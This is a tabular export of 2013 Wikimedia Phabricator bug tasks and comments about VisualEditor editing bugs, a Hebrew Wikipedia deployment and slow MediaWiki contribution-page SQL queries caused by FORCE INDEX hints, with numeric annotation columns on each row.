+[Parsoid does not yet support editing of these items.]",,,1366665947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4o3l42xhur3szmao22jr,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+47807,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,"I am just trying at w:en:Vojníkov hyperlink from ""Louka"" to ""Louka (village)"". The actual link is incorrect. Using VisualEditor and FF 19.0 or G Chrome 25.0.1364.152 m. If I start to type ""Louka"" it adds ""Loukas Vyntra"" automaticaly. If I use backspace it allows me to delete ""Vyntra"" and when I delete ""s"" of ""Loukas"", it adds again ""Loukas Vyntra"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1362608460,1367548440.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_description,resolved,True,c1,1,False,False,True,-17,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+215464,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,Confirming that this is now fixed. Sorry for the delay in responding.,,,1367548440,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+215461,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,Thanks for the report; this is a known issue - I think we've fixed it but it's not yet pushed to live - throwing to Trevor to confirm.,,,1362617782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+47749,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"VisualEditor should be deployed to the Hebrew Wikipedia as soon as possible. I did some basic testing on my machine, and I see that it's more or less as functional as it is on the English - basic formatting works, and even basic RTL is correct.
+
+Obviously, there are many RTL issues to test there. I am doing such testing myself every now and then, but letting more people test will be far more beneficial.
+
+Of course, I am talking about a dark launch at this point - it should only be available to users who specifically request it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1362513780,1366909636.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-p6aosiypctjfd3m7mled,task_description,resolved,True,c1,1,False,False,True,-17,,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+212178,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"\ס/
+
+Thank you!",,,1366913248,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+212171,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,This is now deployed to hewiki (and 13 others).,,,1366909636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+212166,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,Related URL: https://gerrit.wikimedia.org/r/60293 (Gerrit Change Ic9ee32df65ee9d885bf19a1592e1e8e3a8d54db0),,,1366652184,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+212160,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,This is now scheduled for 2013-04-25.,,,1366396701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+212155,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"This is very high priority for us (for hewiki and all the others of course), but as Roan says it's blocking on a version of Parsoid that we can deploy that will work with non-English wikis - see bug 43332 for details.",,,1362520790,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-17,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+212149,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"I support this, but I will make one observation. The version of Parsoid that's running in production is fairly old (2012-12-12 or thereabouts), so if there's anything in Parsoid that Hebrew depends on that was added after mid-December, it won't be live yet.
+
+We can't upgrade Parsoid right now because the Parsoid team is rewriting the serializer and master is too broken to deploy right now. We'll probably make a deployment attempt within the next two weeks, but until then, we'll keep running this ancient (but apparently stable, for English at least) version of Parsoid.",,,1362514401,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-17,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+47619,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"**Author:** `afeldman`
+
+**Description:**
+The FORCE INDEX provided in this query results in a /much/ slower query plan than without.  This is the case with both MySQL 5.1-facebook, and MariaDB 5.5, so it should just be removed.
+
+Query:
+
+SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) user */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM `revision` FORCE INDEX (user_timestamp) INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `user_groups` ON ((ug_user = rev_user) AND  ug_group = 'bot') LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id))  WHERE (rev_user >18370655) AND (ug_group IS NULL) AND ((rev_deleted & 4) = 0) AND (rev_timestamp<'20130301192103')  ORDER BY rev_timestamp DESC LIMIT 51;
+
+Times of the query as above:
+
+production enwiki master - mysql 5.1-facebook:  51 rows in set (7 min 23.03 sec) 
+mariadb 5.5.29:  51 rows in set (1.29 sec)
+
+Times with the FORCE INDEX (user_timestamp) removed
+production enwiki master - mysql 5.1-facebook:  51 rows in set (0.26 sec)
+mariadb 5.5.29:  51 rows in set (0.20 sec)
+
+The EXPLAIN without the FORCE INDEX looks worse on 5.1 without than with, based on number of rows examined, but it avoids a filesort.  It looks better without the FORCE INDEX on mariadb than mysql 5.1 with or without.  In both cases, rev_timestamp is used instead of user_timestamp.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",High,80.0,1362175380,1386216223.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3dsaxavgxklzocfpg2pl,task_description,resolved,True,c1,1,False,False,False,-18,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1
+1026799,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"I think this reappeared, but given the age of this ticket, I will open a new one (probably not related to the original issue anymore).",,,1520352668,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,244,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+228394,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,Presumed fixed.,,,1386216223,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228391,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 merged by jenkins-bot:
+remove specific FORCE INDEX clauses causing trouble
+
+https://gerrit.wikimedia.org/r/96228",,,1384883673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+228386,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 had a related patch set uploaded by Aaron Schulz:
+remove specific FORCE INDEX clauses causing trouble, bug 45619
+
+https://gerrit.wikimedia.org/r/96228",,,1384883143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+228383,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 had a related patch set uploaded by Springle:
+remove specific FORCE INDEX clauses causing trouble, bug 45619
+
+https://gerrit.wikimedia.org/r/96228",,,1384855075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+228378,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Not entirely sure why I was CCed on this, but...
+
+Regarding the FORCE INDEX (user_timestamp) in comment 0, that appears to be coming from includes/specials/SpecialContributions.php, ContribsPager::getUserCond() and ContribsPager::getQueryInfo(). git archeology finds that this force index was added way back in 2005, r9796.
+
+Regarding the FORCE INDEX (change_tag_tag_id) in comment 3, that's coming from ChangeTags::modifyDisplayQuery(), added in r49068 with a comment ""fix tag filtering by adding a FORCE INDEX to the relevant queries"". There's also forcing of that index in API modules that do the same sort of thing added in r58399, which refers to bug 22032, which makes it sound like r49068 was fixing some issue where a bad query was bringing down the site. Since I have no idea of the background on that and the problematic queries don't seem to be mentioned in the change summaries, I'm CCing some of the people involved in those revisions.",,,1378484433,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,9,,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+228372,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Found another example of this with a slightly different query form:
+
+SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) 14.0.143.195 */ rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags FROM `revision` INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id)) INNER JOIN `change_tag` FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id)) WHERE rev_user = '3030741' AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' ORDER BY rev_timestamp DESC LIMIT 51;
+
+On enwiki, forcing the index hits ~900000 rows with a temp table and filesort. Without the force: ~50000 rows, no temp table or filesort.
+
+Both 5.1 and 5.5 EXPLAIN look the same, so removing this FORCE on change_tag_tag_id would also be a win across the board.",,,1377847274,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+228365,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Bump. These queries forcing user_timestamp are running for 5+ minutes on slaves for several of the bigger WMF wikis.
+
+Multiple identical copies running simultaneously too, presumably when clients assume slow == failure and blindly retry.
+
+Re comment 2: Example would be good. Best to review EXPLAIN output for one forcing usertext_timestamp. It might be a completely different story.",,,1377745498,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,8,,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+228358,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"(In reply to comment #0)
+> The EXPLAIN without the FORCE INDEX looks worse on 5.1 without than with,
+> based
+> on number of rows examined, but it avoids a filesort.  It looks better
+> without
+> the FORCE INDEX on mariadb than mysql 5.1 with or without.  In both cases,
+> rev_timestamp is used instead of user_timestamp.
+
+	function getIndexField() {
+		return 'rev_timestamp';
+	}
+
+
+
+There is also code using usertext_timestamp:
+
+			if ( $uid ) {
+				$condition['rev_user'] = $uid;
+				$index = 'user_timestamp';
+			} else {
+				$condition['rev_user_text'] = $this->target;
+				$index = 'usertext_timestamp';
+			}
+
+
+CREATE INDEX /*i*/user_timestamp ON /*_*/revision (rev_user,rev_timestamp);
+CREATE INDEX /*i*/usertext_timestamp ON /*_*/revision (rev_user_text,rev_timestamp);
+
+
+I guess we should remove the force index for that one too?",,,1362175775,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,1,False,,,-18,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+47590,VisualEditor: 'generated' property should not be preserved when unwrapping,"When we unwrap lists, we currently preserve the internal 'generated' property on paragraphs inside those lists, but we really shouldn't. The fact that we don't currently clear this when unwrapping results in the following serious bug:
+
+1. Create a page with the following content
+Foo
+Bar
+* Baz
+* Quux
+* Whee
+Yay
+2. Open the page in VE
+3. Select across the three list items and click the list button to unlist them
+4. VE now shows five paragraphs
+5. Click ""Review and save"" and observe the diff.
+
+Expected diff: the asterisk and space before ""Baz"", ""Quux"" and ""Whee"" are removed.
+
+Actual diff: the second line becomes ""BarBazQuuxWhee"", followed by three blank lines, then ""Yay"".
+
+This happens because the converter unwraps paragraphs with the 'internal': { 'generated': 'wrapper' } property, even if these paragraphs now appear in a different context and even if there are multiple such paragraphs adjacent to each other.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1362090720,1363139748.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_description,resolved,True,c1,1,False,False,True,-18,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+226729,VisualEditor: 'generated' property should not be preserved when unwrapping,Code now merged.,,,1363139748,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+226723,VisualEditor: 'generated' property should not be preserved when unwrapping,https://gerrit.wikimedia.org/r/#/c/52046/,,,1362414620,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dh3tjq2uz3nbefcu74t6,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47344,VisualEditor: You cannot create pre-formatted blocks spanning multiple lines,"1. Create a document ""First line.Second line""
+2. Select this text and insert a newline between the '.' and the 'S' (currently, using the Enter key).
+
+Expected result: a single <pre> block with a single newline after the full stop, converting to "" First line.\n Second line"" in wikitext. Note that this is trivially-obvious on MW Vector due to the ""border: 1px dashed #2f6fab;"".
+
+Actual result: two separated <pre> blocks (with a slug between them), converting to "" First line.\n\n Second line"" in wikitext.
+
+I presume that we'll want to retain Enter as a break-me-out-of-this-context newline, and use Shift-Enter to allow insertion of the above.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1361768160,1361841038.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-iadcnxx6h6rf3uwphvzc,task_description,resolved,True,c1,1,True,False,True,-18,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+213126,VisualEditor: You cannot create pre-formatted blocks spanning multiple lines,"**orbit** wrote:
+
+Fixed here: https://gerrit.wikimedia.org/r/#/c/50862/",,,1361841038,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-iadcnxx6h6rf3uwphvzc,task_subcomment,,True,c1,1,False,,,-18,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+47295,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Stuff like ve.dm.MWInternalLinkAnnotation , ve.dm.modelRegistry.registerExtensionSpecificType( /^mw:/ ), etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1361572320,1372875470.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+210401,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,Fixed as part of a larger move in https://gerrit.wikimedia.org/r/71755,,,1372875174,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0
+210397,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Roan, is this now closeable?",,,1367548264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+210394,VisualEditor: Split out MediaWiki-specific dm stuff into a separate directory,"Some more MW specific nodes:
+https://gerrit.wikimedia.org/r/#/c/51621/",,,1362185032,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3jc7jvjjcdtgrshlnq7r,task_subcomment,,True,c1,1,True,,,-18,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1
+47245,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"Changes made in screen
+
+Issues of editing when making changes in a section of https://en.wikipedia.org/wiki/William_Francis_Magie - probably Parsoid selser issue. JDF to re-check when new Parsoid deployed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10305}",High,80.0,1361474460,1366396637.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lemidsivs6ktavbh7gts,task_description,resolved,True,c1,1,True,False,True,-19,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+207739,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"This is now fixed given the Parsoid update, yay.",,,1366396637,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lemidsivs6ktavbh7gts,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+207735,VisualEditor: Editing in a section causes changes elsewhere to be deleted (Parsoid selser bug?),"Created attachment 11825
+Diff coming back with only changed area
+
+**Attached**: {F10306}",,,1361474511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lemidsivs6ktavbh7gts,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+47243,VisualEditor: Create isolate method in SurfaceFragement,"The method should isolate a selection of siblings from the siblings either side of it by creating close/open tags with either side of it where necessary.
+
+--------------------------
+**Version**: unspecified
